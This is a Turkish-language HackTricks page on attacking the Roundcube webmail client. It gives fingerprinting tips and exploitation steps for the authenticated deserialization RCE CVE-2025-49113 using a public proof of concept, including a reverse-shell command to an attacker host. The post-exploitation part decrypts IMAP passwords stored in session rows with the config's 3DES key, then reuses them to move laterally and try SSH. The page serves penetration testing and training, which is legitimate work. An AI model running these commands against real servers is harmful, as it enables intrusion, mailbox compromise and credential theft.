Roundcube
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Genel Bakış
Roundcube, genellikle HTTP(S) vhost’larda (ör. mail.example.tld) açığa çıkan bir PHP webmail istemcisidir. Kullanışlı parmak izleri:
- HTML kaynağı sıklıkla rcversion leaks (örn., window.rcmail && rcmail.env.rcversion)
- Varsayılan app yolu containers/VMs: /var/www/html/roundcube
- Ana config: config/config.inc.php
Kimlik doğrulamalı RCE aracılığıyla PHP object deserialization (CVE-2025-49113)
Etkilenen sürümler (vendor/NVD’ye göre):
- 1.6.x before 1.6.11
- 1.5.x before 1.5.10
Zafiyet özeti
- program/actions/settings/upload.php içindeki _from parametresi doğrulanmıyor; bu, attacker‑controlled verinin enjekte edilmesine izin veriyor. Roundcube bu veriyi daha sonra unserializes ediyor; bu da gadget chain execution ve web bağlamında remote code execution’a yol açıyor (post‑auth).
Hızlı sömürü
- Gereksinimler: geçerli Roundcube credentials ve erişilebilir bir UI URL’si (örn., http://mail.target.tld)
- Public PoC, session handling, gadget crafting ve upload flow’u otomatikleştirir
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
Notlar
- Çıktı çoğunlukla kördür; RCE’yi doğrulamak için sleep N kullanın
- Oluşan shell genellikle www-data olarak çalışır; konteynerleştirilmiş dağıtımlarda /.dockerenv ve 172.17.0.0/16 ağ yapılandırmasını bekleyin
Post‑exploitation: Roundcube oturumlarından IMAP parolalarını kurtarma
Roundcube, mevcut kullanıcının IMAP parolasını oturumda (veritabanında) config.inc.php içinde yapılandırılmış sunucu tarafı 3DES anahtarı ile şifrelenmiş olarak saklar. Roundcube sunucusunda dosya sistemi veya DB erişimi ile düz metin parolalarını geri çıkarabilir ve diğer posta kutularına/hizmetlere pivot yapabilirsiniz (SSH reuse yaygındır).
- DB DSN ve 3DES anahtarını config’ten okuyun
config/config.inc.php tipik olarak şunları içerir:
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
- DB’ye bağlan ve dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
session.vars alanı, Roundcube’un encrypt() tarafından üretilen bir Base64 blob’udur: Base64( IV || 3DES-CBC(plaintext) ). Base64‑decoding sonrası ilk 8 byte IV’dir.
- Şifre alanını bulma
Çözülmüş yapının içindeki credential’ı hızlıca tespit etmenin yolu, önce vars field’i Base64‑decode etmek ve serialized entries’i gözle kontrol etmektir:
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
- Roundcube’un helper’ını kullanarak decrypt et
Roundcube, aynı rcmail->decrypt() mantığını ve yapılandırılmış des_key’i kullanan bir CLI sağlar:
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
- Manuel 3DES-CBC deşifreleme (isteğe bağlı)
- Şifre metni formatı: Base64( IV(8B) || CT )
- Alg: 3DES-CBC, anahtar uzunluğu 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
Yaygın konumlar
- DB table: session (users table maps login names to IDs)
- Config path: /var/www/html/roundcube/config/config.inc.php
Operasyonel kullanım
- Eski session satırları genellikle önceki kullanıcıların IMAP parolalarını içerir; birden fazla girdiyi decrypt ederek diğer posta kutularına laterally move edin
- Kurtarılan credentials’i, credential reuse şüphesi varsa SSH veya diğer servislerde deneyin
Referanslar
- Roundcube security updates 1.6.11 and 1.5.10
- CVE-2025-49113 – NVD
- FearsOff research notes on Roundcube deserialization/RCE
- hakaioffsec/CVE-2025-49113-exploit (PoC)
- Roundcube bin/decrypt.sh helper
- HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

